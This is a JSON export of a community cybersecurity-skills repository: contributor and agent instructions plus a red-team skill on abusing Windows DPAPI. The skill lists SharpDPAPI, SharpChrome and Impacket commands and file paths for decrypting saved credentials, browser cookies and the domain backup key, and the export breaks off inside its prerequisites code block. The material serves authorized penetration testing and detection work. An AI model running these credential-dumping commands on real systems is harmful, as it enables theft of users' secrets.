/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2FSKILL.md -->","skills/triaging-windows-with-kape/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2Freferences%2Fapi-reference.md -->","skills/triaging-windows-with-kape/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Ftriaging-windows-with-kape%2Freferences%2Fstandards.md -->","skills/validating-backup-integrity-for-recovery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-backup-integrity-for-recovery%2FSKILL.md -->","skills/validating-backup-integrity-for-recovery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-backup-integrity-for-recovery%2Freferences%2Fapi-reference.md -->","skills/validating-tpm-measured-boot-attestation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2FSKILL.md -->","skills/validating-tpm-measured-boot-attestation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2Freferences%2Fapi-reference.md -->","skills/validating-tpm-measured-boot-attestation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fvalidating-tpm-measured-boot-attestation%2Freferences%2Fstandards.md -->","skills/verifying-build-provenance-with-slsa-sigstore/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2FSKILL.md -->","skills/verifying-build-provenance-with-slsa-sigstore/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2Freferences%2Fapi-reference.md -->","skills/verifying-build-provenance-with-slsa-sigstore/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fverifying-build-provenance-with-slsa-sigstore%2Freferences%2Fstandards.md -->","tools/README.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=tools%2FREADME.md -->"},"items":[{"name":"AGENTS.md","path":"AGENTS.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/AGENTS.md","title":"AI Agent Protocol & Instructions","category":"root-instruction","format":"markdown","content":"# AGENTS.md\n\nInstructions for AI agents working in this repository.\n\n## What this repository is\n\nA library of 817 cybersecurity skills. Each skill is a directory under `skills/` containing a `SKILL.md` — YAML frontmatter plus a Markdown procedure — following the [agentskills.io](https://agentskills.io) standard.\n\nThe layout is flat: `skills/<skill-name>/SKILL.md`. Do not nest skills by domain; agents discover them by scanning `skills/*/SKILL.md`.\n\n## Reading a skill\n\nOnly `name` and `description` load at discovery time. The body loads once the description matches the request; `references/`, `scripts/` and `assets/` load only when referenced.\n\nRead the description first. If it carries a negative trigger — \"Do not use for X — use `other-skill`\" — honour it. Those exist because two skills would otherwise compete for the same request.\n\n## Changing a skill\n\nFrontmatter is parsed by `tools/skill_frontmatter.py`, which uses PyYAML. Do not write a regex frontmatter parser; CI fails the build if it detects one. Three hand-rolled parsers previously truncated 604 of 817 descriptions to their first line.\n\nAfter changing any `SKILL.md`:\n\n```bash\npip install pyyaml\npython tools/validate-skill.py --all\npython tools/validate-agentskills.py --strict\npython tools/generate-index.py          # regenerate index.json\npython tools/lint-descriptions.py --all\npython tools/detect-collisions.py\n```\n\nAll five run in CI. `index.json` is generated — never edit it by hand.\n\n## Writing a description\n\nThe description is the only signal another agent sees when deciding whether to load the skill. It needs four things:\n\n1. What it does, concretely.\n2. `Use when …` — the phrasings a user would actually type.\n3. `Keywords:` — tool names, event IDs, CVEs, API calls.\n4. `Do not use for X — use other-skill.` — the negative trigger.\n\nKeep it under 1024 characters. Keep the body under 500 lines; depth belongs in `references/`.\n\n## Constraints\n\n- `name` must equal the directory name, lowercase-kebab, ≤64 characters.\n- `domain` is always `cybersecurity`. `subdomain` must be one the validator accepts — see CONTRIBUTING.md.\n- Scripts must run. No placeholders, no invented API endpoints, no fabricated CVE numbers.\n- Framework IDs must be real and current. A wrong mapping sends an investigation the wrong way; omit rather than guess.\n\n## Scope\n\nSee [SCOPE.md](SCOPE.md). This repository holds skills. Runtimes, engines and applications belong elsewhere.\n","isInternal":false,"tokens":576,"sizeBytes":2472},{"name":"copilot-instructions.md","path":".github/copilot-instructions.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/.github/copilot-instructions.md","title":"GitHub Copilot Instructions","category":"copilot-instructions","format":"markdown","content":"# Copilot Instructions for Anthropic-Cybersecurity-Skills\n\n**Anthropic-Cybersecurity-Skills** is the largest open-source cybersecurity skills library for AI agents, containing 817 production-grade skills mapped to 6 industry frameworks (MITRE ATT&CK, NIST CSF, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3). This document guides Copilot agents contributing new skills and framework mappings.\n\n## Quick Facts\n\n- **Type**: Open-source cybersecurity skills library + framework mapping hub\n- **Skills**: 817 across 29 security domains\n- **Frameworks**: 6 (MITRE ATT&CK v14, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3)\n- **Format**: agentskills.io standard (YAML frontmatter + Markdown)\n- **License**: Apache 2.0 (ethical use required)\n- **Community**: Independent, community-created (not affiliated with Anthropic)\n\n## Repository Structure\n\n```\nAnthropic-Cybersecurity-Skills/\n├── skills/                    # 817 skill directories (kebab-case)\n│   ├── abusing-dpapi-for-credential-access/\n│   │   ├── SKILL.md          # Frontmatter + detailed instructions\n│   │   ├── LICENSE\n│   │   ├── scripts/\n│   │   │   └── process.py    # Optional helper scripts\n│   │   └── references/\n│   │       ├── api-reference.md\n│   │       ├── standards.md\n│   │       └── workflows.md\n│   └── ... (816 more)\n├── mappings/                  # Framework coverage & alignment\n│   ├── mitre-attack/\n│   │   ├── attack-navigator-layer.json\n│   │   └── coverage-summary.md\n│   ├── nist-csf/\n│   ├── owasp/\n│   └── README.md\n├── docs/                      # Additional documentation\n├── index.json                 # Central skill registry (auto-generated)\n├── CONTRIBUTING.md            # Contribution guide\n├── SECURITY.md               # Ethical use & dual-use policies\n└── CODE_OF_CONDUCT.md        # Community guidelines\n```\n\n## Build & Development\n\n### Prerequisites\n\n- **Git** (for cloning and version control)\n- **Python 3.8+** (optional, for scripts/metadata generation)\n- **jq** (optional, for JSON processing; useful for index.json queries)\n\n### Local Setup\n\n```bash\n# Clone the repository\ngit clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git\ncd Anthropic-Cybersecurity-Skills\n\n# No installation needed—skills are static Markdown files\n# View a skill directly:\ncat skills/abusing-dpapi-for-credential-access/SKILL.md\n\n# Search for skills by keyword:\ngrep -r \"credential-access\" skills/*/SKILL.md | head -10\n\n# Query the central index:\njq '.skills[] | select(.description | contains(\"Active Directory\"))' index.json\n```\n\n### Generating/Updating index.json\n\nWhen adding new skills, the index must be regenerated:\n\n```bash\n# If a script exists (check repository):\npython3 generate_index.py\n\n# Otherwise, manually verify:\njq '.skills | length' index.json  # Should match skill directory count\n```\n\n## Architecture & Concepts\n\n### Skill Structure\n\nEach skill is a **self-contained directory** following the `agentskills.io` standard:\n\n```\nskills/skill-name/\n├── SKILL.md              # The authoritative skill definition\n├── LICENSE               # Apache 2.0 (usually)\n├── scripts/\n│   └── process.py        # Optional: helper scripts, agent implementations\n└── references/\n    ├── api-reference.md  # Technical API docs for the skill\n    ├── standards.md      # CVE, NIST, MITRE refs\n    └── workflows.md      # Deep technical procedures\n```\n\n### SKILL.md Format\n\nEvery skill follows this structure:\n\n```markdown\n---\nname: skill-name-kebab-case\ndescription: >-\n  Clear, agent-discoverable description.\n  Include keywords for search/filtering.\n  This is what agents read to decide whether to use this skill.\ndomain: cybersecurity\nsubdomain: red-teaming  # e.g. digital-forensics, compliance-governance, etc.\ntags:\n  - tool-names (mimikatz, burp-suite, etc.)\n  - frameworks (active-directory, cloud, kubernetes, etc.)\n  - techniques (credential-access, privilege-escalation, etc.)\nversion: \"1.0\"\nauthor: github-username\nlicense: Apache-2.0\nnist_csf:\n  - DE.CM-01\n  - PR.AC-01\nmitre_attack:\n  - T1555.004\n  - T1078.002\nmitre_atlas:\n  - AML.P1.003\nmitre_d3fend:\n  - D3-CAA\n  - D3-PCA\nnist_ai_rmf:\n  - GOV-1\nmitre_f3:\n  - FI-B-003\n---\n\n# Skill Title\n\n> **Legal Notice:** This skill is for authorized [penetration testing/research/defense] only.\n> Unauthorized use may violate computer fraud laws. Always operate within rules-of-engagement.\n\n## Overview\n\nClear, concise explanation of what the skill does and why an agent needs it.\nInclude threat model context if applicable.\n\n## When to Use\n\n- Specific scenario 1\n- Specific scenario 2\n- Real-world contexts where this skill applies\n\n## Prerequisites\n\n- Required tools (with install commands if applicable)\n- Required access/permissions\n- Required knowledge/certifications\n- System requirements\n\n## Workflow\n\n### Step 1: [Action]\nClear instructions with real commands.\n```bash\ntool-name --flag value\n```\n\n### Step 2: [Next Action]\nContinue with detailed steps.\n\n### Output Format\n\nWhat success looks like:\n```\nExpected output or indicator\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| Concept1 | Explanation |\n| Concept2 | Explanation |\n\n## Tools & Systems\n\n- **Tool A** — What it does, where to get it\n- **Tool B** — What it does, where to get it\n\n## Common Scenarios\n\n### Scenario 1\nWhen X, do Y.\n\n### Scenario 2\nWhen A, do B.\n\n## References\n\n- [MITRE ATT&CK: T1555.004](https://attack.mitre.org/techniques/T1555/004/)\n- [NIST CSF: DE.CM-01](https://csrc.nist.gov/)\n```\n\n### Framework Mappings\n\nEach skill can map to multiple frameworks. Key mappings:\n\n| Framework | Scope | Example |\n|-----------|-------|---------|\n| **MITRE ATT&CK** | Adversarial tactics/techniques | T1555.004 (Credentials from Password Stores) |\n| **NIST CSF 2.0** | Cybersecurity functions & categories | DE.CM (Detect - Monitor) |\n| **MITRE ATLAS** | AI/ML system attacks | AML.P (AI Preparation) |\n| **MITRE D3FEND** | Defensive techniques | D3-CAA (Capture Analysis Analytics) |\n| **NIST AI RMF** | AI risk management | GOV (Governance) |\n| **MITRE F3** | Fraud-specific techniques | FI-B (Fraud Impact) |\n\n### Subdomains (Choose One)\n\n- **web-application-security** — OWASP, API, web app testing\n- **network-security** — Network tools, protocols, monitoring\n- **penetration-testing** — General penetration testing methodology\n- **red-teaming** — Simulating advanced attackers (C2, evasion, etc.)\n- **digital-forensics** — Incident response, forensic analysis, disk imaging\n- **malware-analysis** — Static/dynamic malware analysis, reverse engineering\n- **threat-intelligence** — Gathering, analyzing, sharing threat data\n- **cloud-security** — AWS/Azure/GCP-specific security\n- **container-security** — Docker, Kubernetes, container runtime\n- **identity-access-management** — Active Directory, IAM, authentication\n- **cryptography** — Encryption, hashing, key management\n- **vulnerability-management** — Scanning, assessment, remediation\n- **compliance-governance** — CMMC, HIPAA, SOC2, auditing\n- **zero-trust-architecture** — Zero-trust implementation patterns\n- **ot-ics-security** — Operational technology, ICS/SCADA\n- **devsecops** — Secure software development, CI/CD security\n\n## Conventions & Patterns\n\n### Naming\n\n- **Directory/file**: kebab-case, lowercase with hyphens (e.g., `abusing-dpapi-for-credential-access`)\n- **Skill name**: Same as directory (in YAML frontmatter)\n- **GitHub usernames**: Use lowercase GitHub username as author\n\n### Description Quality\n\nDescriptions should be **agent-discoverable** — concise, keyword-rich, action-oriented:\n\n```yaml\n# ✗ Vague\ndescription: How to abuse DPAPI\n\n# ✓ Clear and searchable\ndescription: >-\n  Extract DPAPI-protected secrets such as credentials and browser data\n  offline and online using SharpDPAPI, Mimikatz, or impacket. Ideal\n  for post-exploitation Windows credential harvesting and offline analysis.\n```\n\n### Tags Strategy\n\nUse 3-5 tags for discoverability:\n\n```yaml\ntags:\n  - tool-names           # mimikatz, sharpdpapi, burp-suite\n  - attack-frameworks    # active-directory, kerberos, oauth\n  - techniques           # credential-access, privilege-escalation, lateral-movement\n  - platforms            # windows, linux, macos, cloud\n  - use-cases            # post-exploitation, threat-intel, forensics\n```\n\n### Framework ID Format\n\nIDs are **case-sensitive** and **exact**:\n\n```yaml\nmitre_attack:\n  - T1055                   # Parent technique\n  - T1055.001               # Sub-technique\nnist_csf:\n  - DE.CM-01                # NIST Cybersecurity Framework 2.0\nmitre_atlas:\n  - AML.P1.003              # MITRE ATLAS for AI/ML\nmitre_d3fend:\n  - D3-CAA                  # MITRE D3FEND defensive technique ID\nnist_ai_rmf:\n  - GOV-1                   # NIST AI Risk Management Framework\nmitre_f3:\n  - FI-B-003                # MITRE Fight Fraud Framework\n```\n\n## Common Tasks\n\n### Adding a New Skill\n\n1. **Create skill directory** (kebab-case):\n   ```bash\n   mkdir -p skills/your-skill-name\n   ```\n\n2. **Create SKILL.md** with required frontmatter:\n   ```bash\n   cat > skills/your-skill-name/SKILL.md << 'EOF'\n   ---\n   name: your-skill-name\n   description: >-\n     Clear, discoverable description with keywords.\n   domain: cybersecurity\n   subdomain: red-teaming\n   tags:\n     - tool-name\n     - technique\n     - use-case\n   version: \"1.0\"\n   author: your-github-username\n   license: Apache-2.0\n   mitre_attack:\n     - T1234.567\n   nist_csf:\n     - DE.CM-01\n   mitre_atlas:\n     - AML.P1.003\n   mitre_d3fend:\n     - D3-CAA\n   nist_ai_rmf:\n     - GOV-1\n   mitre_f3:\n     - FI-B-003\n   ---\n   \n   # Skill Title\n   \n   > **Legal Notice:** Authorized use only. [...]\n   \n   ## Overview\n   \n   Clear explanation...\n   EOF\n   ```\n\n3. **Write detailed sections** in Markdown:\n   - When to Use (specific scenarios)\n   - Prerequisites (tools, permissions, access)\n   - Workflow (numbered steps with real commands)\n   - Key Concepts (table for terminology)\n   - Tools & Systems\n   - Common Scenarios\n   - References (framework links)\n\n4. **Add optional supporting files**:\n   ```\n   scripts/process.py         # Helper script or agent implementation\n   references/standards.md    # CVE, NIST, MITRE links\n   references/workflows.md    # Deep technical procedures\n   ```\n\n5. **Add LICENSE**:\n   ```bash\n   cp LICENSE skills/your-skill-name/LICENSE\n   # Or use a specific open-source license file\n   ```\n\n6. **Regenerate index** (if automation exists):\n   ```bash\n   python3 generate_index.py  # Updates index.json\n   ```\n\n7. **Submit PR**:\n   ```bash\n   git add skills/your-skill-name\n   git commit -m \"Add skill: your-skill-name\"\n   git push origin feature/add-skill-name\n   # Create PR with title: \"Add skill: your-skill-name\"\n   ```\n\n### Updating Framework Mappings\n\nIf a skill maps to new frameworks or techniques change:\n\n1. **Update SKILL.md frontmatter**:\n   ```yaml\n   mitre_attack:\n     - T1555.004      # Add new technique IDs\n   nist_csf:\n     - DE.CM-01       # Add new control IDs\n   ```\n\n2. **Regenerate index** (if automation exists):\n   ```bash\n   python3 generate_index.py\n   ```\n\n3. **Verify mapping coverage**:\n   ```bash\n   # Check if all referenced IDs are valid:\n   grep -r \"T1[0-9]\" skills/*/SKILL.md | grep -v \"http\"\n   ```\n\n### Searching Skills\n\n**By keyword**:\n```bash\ngrep -r \"active-directory\" skills/*/SKILL.md\n```\n\n**By framework**:\n```bash\ngrep -r \"T1055\" skills/*/SKILL.md  # MITRE ATT&CK technique\n```\n\n**By subdomain**:\n```bash\ngrep \"subdomain: red-teaming\" skills/*/SKILL.md\n```\n\n**Using jq (if index.json exists)**:\n```bash\n# Find skills by keyword\njq '.skills[] | select(.tags[] | contains(\"credential-access\"))' index.json\n\n# Count skills by subdomain\njq '[.skills[] | .subdomain] | group_by(.) | map({subdomain: .[0], count: length})' index.json\n```\n\n## Platform & Framework Notes\n\n### Windows-Specific Skills\n\n- Often leverage PowerShell, Windows APIs, Active Directory\n- Reference MITRE ATT&CK Windows tactics: T1021 (Lateral Movement), T1078 (Valid Accounts)\n- Include prerequisite (SYSTEM/Administrator access, domain join, etc.)\n\n### Linux/macOS Skills\n\n- Use standard Unix tools (bash, Python, curl, etc.)\n- Note platform availability differences\n- Cloud/container skills often multi-platform\n\n### Cloud Security Skills\n\n- Specify cloud provider (AWS, Azure, GCP, multi-cloud)\n- Reference cloud-specific tools (awscli, az, gcloud)\n- Map to cloud-specific MITRE ATLAS techniques\n\n### AI/ML Attack Skills\n\n- Use MITRE ATLAS techniques (AML.P1, AML.E1, etc.)\n- Include model/system type (LLM, transformer, computer vision, etc.)\n- Note NIST AI RMF alignment (GOV, MAP, MEASURE, MANAGE)\n\n## Gotchas & Known Issues\n\n### Legal & Ethical\n\n- **Dual-use policy**: Skills for red-teaming and exploitation require legal notice\n  - Must include \"authorized use only\" disclaimer\n  - Reference SECURITY.md for policy\n- **No credentials**: Never embed API keys, tokens, or credentials\n- **Attribution**: Cite original tool authors and researchers\n\n### Framework Maintenance\n\n- **MITRE ATT&CK updates**: v14 is current; check attack.mitre.org for latest\n- **NIST CSF 2.0**: Rolled out Feb 2024; use subcategory IDs as in this repo (e.g., `DE.CM-01`, `PR.PS-01`)\n- **Technique changes**: Techniques may deprecate; verify via attack.mitre.org\n\n### Subdomain Assignment\n\n- **Common mistake**: Using wrong subdomain (e.g., \"red-teaming\" for defensive skill)\n  - red-teaming = offensive/attacker perspective\n  - compliance-governance = defensive/compliance perspective\n  - Choose the **primary** subdomain if skill spans multiple\n\n### index.json Generation\n\n- If index doesn't auto-regenerate, manually verify:\n  ```bash\n  # Count skills in index vs directories\n  jq '.skills | length' index.json\n  ls -d skills/*/ | wc -l\n  # Should match (or index may be stale)\n  ```\n\n## Testing & Quality\n\n### Skill Quality Checklist\n\nBefore submitting a PR:\n\n- [ ] **Name**: Kebab-case, 1-64 chars, descriptive\n- [ ] **Description**: Clear, includes keywords, discoverable by agents\n- [ ] **Instructions**: Actionable with real commands and tool names\n- [ ] **Subdomain**: Correctly assigned (red-teaming vs defensive)\n- [ ] **Tags**: 3-5 relevant tags (tools, techniques, platforms)\n- [ ] **Framework IDs**: Valid MITRE ATT&CK, NIST CSF, MITRE ATLAS IDs\n- [ ] **Legal notice**: Included if skill is offensive/dual-use\n- [ ] **References**: Links to official framework docs\n- [ ] **Formatting**: Proper Markdown, no typos, code blocks highlighted\n\n### Manual Verification\n\n```bash\n# Validate skill frontmatter and conventions (repo validator):\npython3 tools/validate-skill.py skills/my-skill/\n# Or validate all skills:\npython3 tools/validate-skill.py --all\n\n# Check for framework ID patterns:\ngrep -E \"^  - (T1[0-9]{3,4}(\\.[0-9]{3})?|DE\\.[A-Z]{2}-[0-9]{2}|AML\\.)\" skills/*/SKILL.md\n\n# Verify all referenced skills have directories:\njq -r '.skills[].name' index.json | while read skill; do\n  [ -d \"skills/$skill\" ] || echo \"Missing: $skill\"\ndone\n```\n\n## Contributing Notes\n\n- **No build required** — Skills are static files; git pull = ready to use\n- **Skill dependencies**: Skills are independent; if skill A requires skill B, note it in the workflow\n- **Tool versions**: Mention tool versions in prerequisites (e.g., \"Burp Suite 2024.1+\")\n- **Testing**: Test commands on actual systems before submitting\n- **Code of Conduct**: See CODE_OF_CONDUCT.md — be respectful, follow ethical use policy\n\n## Resources & Links\n\n- **agentskills.io Standard**: https://agentskills.io (format specification)\n- **MITRE ATT&CK**: https://attack.mitre.org (techniques, tactics)\n- **NIST Cybersecurity Framework**: https://csrc.nist.gov/projects/cybersecurity-framework (controls)\n- **MITRE ATLAS**: https://atlas.mitre.org (AI/ML attacks)\n- **MITRE D3FEND**: https://d3fend.mitre.org (defensive techniques)\n- **NIST AI RMF**: https://nvlabs.nist.gov/display/AIRFF (AI risk management)\n- **Contributing Guide**: `CONTRIBUTING.md` in repo\n- **Security Policy**: `SECURITY.md` — dual-use & ethical use\n- **Code of Conduct**: `CODE_OF_CONDUCT.md`\n- **Community Playground**: https://casky.ai (test skills in browser)\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Add skill | `mkdir skills/name && cat > SKILL.md` |\n| Search by technique | `grep -r \"T1055\" skills/` |\n| Search by subdomain | `grep \"subdomain: red-teaming\" skills/*/SKILL.md` |\n| Validate skill | `python3 tools/validate-skill.py skills/my-skill/` |\n| Regenerate index | `python3 generate_index.py` (if exists) |\n| View mapping coverage | Open `mappings/mitre-attack/attack-navigator-layer.json` in ATT&CK Navigator |\n","isInternal":false,"tokens":4388,"sizeBytes":16809},{"name":"api-reference.md","path":"skills/abusing-dpapi-for-credential-access/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/abusing-dpapi-for-credential-access/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# SharpDPAPI / DPAPI — Command Reference\n\n## SharpDPAPI User Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `triage` | Auto-run credentials, vaults, rdg, certificates | `SharpDPAPI.exe triage /unprotect` |\n| `masterkeys` | Decrypt user master keys (GUID:SHA1 output) | `SharpDPAPI.exe masterkeys /password:Pass` |\n| `credentials` | Decrypt Credential Manager blobs | `SharpDPAPI.exe credentials /pvk:key.pvk` |\n| `vaults` | Decrypt Credential Vault entries | `SharpDPAPI.exe vaults /pvk:key.pvk` |\n| `rdg` | Decrypt RDCMan.settings RDP passwords | `SharpDPAPI.exe rdg /unprotect` |\n| `keepass` | Decrypt KeePass DPAPI keys | `SharpDPAPI.exe keepass /unprotect` |\n| `certificates` | Decrypt certificate private keys | `SharpDPAPI.exe certificates /unprotect /showall` |\n\n## SharpDPAPI Machine Commands (require admin/SYSTEM)\n\n| Command | Purpose |\n|---------|---------|\n| `machinemasterkeys` | Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |\n| `machinecredentials` | Decrypt machine credential blobs |\n| `machinevaults` | Decrypt machine vault entries |\n| `machinetriage` | Run all machine-scoped triage commands |\n\n## SharpDPAPI Supporting Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `backupkey` | Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | `SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk` |\n\n## Common Flags\n\n| Flag | Meaning |\n|------|---------|\n| `/unprotect` | Use live `CryptUnprotectData` in current user context (online) |\n| `/password:<pw>` | Decrypt master keys with the user's plaintext password |\n| `/ntlm:<hash>` | Decrypt master keys with the user's NTLM hash |\n| `/pvk:<file>` | Use domain backup private key for decryption |\n| `/mkfile:<file>` | Provide a specific master key file |\n| `/server:<dc>` | Target DC for backupkey retrieval |\n| `/target:<path>` | Target file/folder to decrypt |\n| `/rpc` | Use RPC to request master key decryption from a DC |\n| `/showall` | Show all certificate stores / verbose output |\n\n## SharpChrome Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `logins` | Decrypt saved browser logins | `SharpChrome.exe logins /unprotect` |\n| `cookies` | Decrypt browser cookies | `SharpChrome.exe cookies /pvk:key.pvk` |\n| `statekeys` | Decrypt the AES app-bound state key | `SharpChrome.exe statekeys /unprotect` |\n\n## Impacket dpapi.py (Linux)\n\n| Subcommand | Purpose | Example |\n|------------|---------|---------|\n| `masterkey` | Decrypt a master key file | `impacket-dpapi masterkey -file MK -pvk key.pvk` |\n| `credential` | Decrypt a credential blob | `impacket-dpapi credential -file CRED -key 0x<mk>` |\n| `vault` | Decrypt vault policy/creds | `impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>` |\n| `backupkeys` | Retrieve domain backup keys | `impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk` |\n\n## Key File Locations\n\n| Path | Contents |\n|------|----------|\n| `%APPDATA%\\Microsoft\\Protect\\<SID>\\` | User master keys |\n| `%WINDIR%\\System32\\Microsoft\\Protect\\` | Machine master keys |\n| `%LOCALAPPDATA%\\Microsoft\\Credentials\\` | Credential Manager blobs |\n| `%APPDATA%\\Microsoft\\Vault\\` / `%LOCALAPPDATA%\\Microsoft\\Vault\\` | Credential Vault |\n\n## External References\n\n- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI\n- Impacket: https://github.com/fortra/impacket\n","isInternal":false,"tokens":901,"sizeBytes":3360},{"name":"standards.md","path":"skills/abusing-dpapi-for-credential-access/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/abusing-dpapi-for-credential-access/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Standards and References — Abusing DPAPI for Credential Access\n\n## NIST CSF 2.0\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface. |\n\n## MITRE ATT&CK\n\n| Technique ID | Name | Tactic | Rationale |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected browser logins/cookies. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys and the domain backup key dumps credential material. |\n\n## Supporting Frameworks and Standards\n\n- **MS-BKRP** — BackupKey Remote Protocol; the RPC interface used to retrieve the domain DPAPI backup key.\n- **MS-DPSP / DPAPI** — Microsoft's Data Protection API specification governing master keys and blob protection.\n- **D3FEND** — Credential Eviction / Password Rotation as mitigations after DPAPI compromise.\n\n## Official Resources\n\n- SharpDPAPI / SharpChrome: https://github.com/GhostPack/SharpDPAPI\n- Mimikatz: https://github.com/gentilkiwi/mimikatz\n- Impacket: https://github.com/fortra/impacket\n- DonPAPI: https://github.com/login-securite/DonPAPI\n- HackTricks DPAPI: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html\n- SpecterOps \"Operational Guidance for Offensive User DPAPI Abuse\": https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107\n","isInternal":false,"tokens":458,"sizeBytes":1886},{"name":"SKILL.md","path":"skills/abusing-dpapi-for-credential-access/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/abusing-dpapi-for-credential-access/SKILL.md","title":"abusing-dpapi-for-credential-access","category":"anthropic-skill","format":"markdown","content":"---\nname: abusing-dpapi-for-credential-access\ndescription: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- credential-access\n- dpapi\n- sharpdpapi\n- post-exploitation\n- active-directory\n- windows\n- mimikatz\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1555.004\n---\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\<SID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online / context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `/unprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `/password:` or `/ntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `/pvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote/offline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# 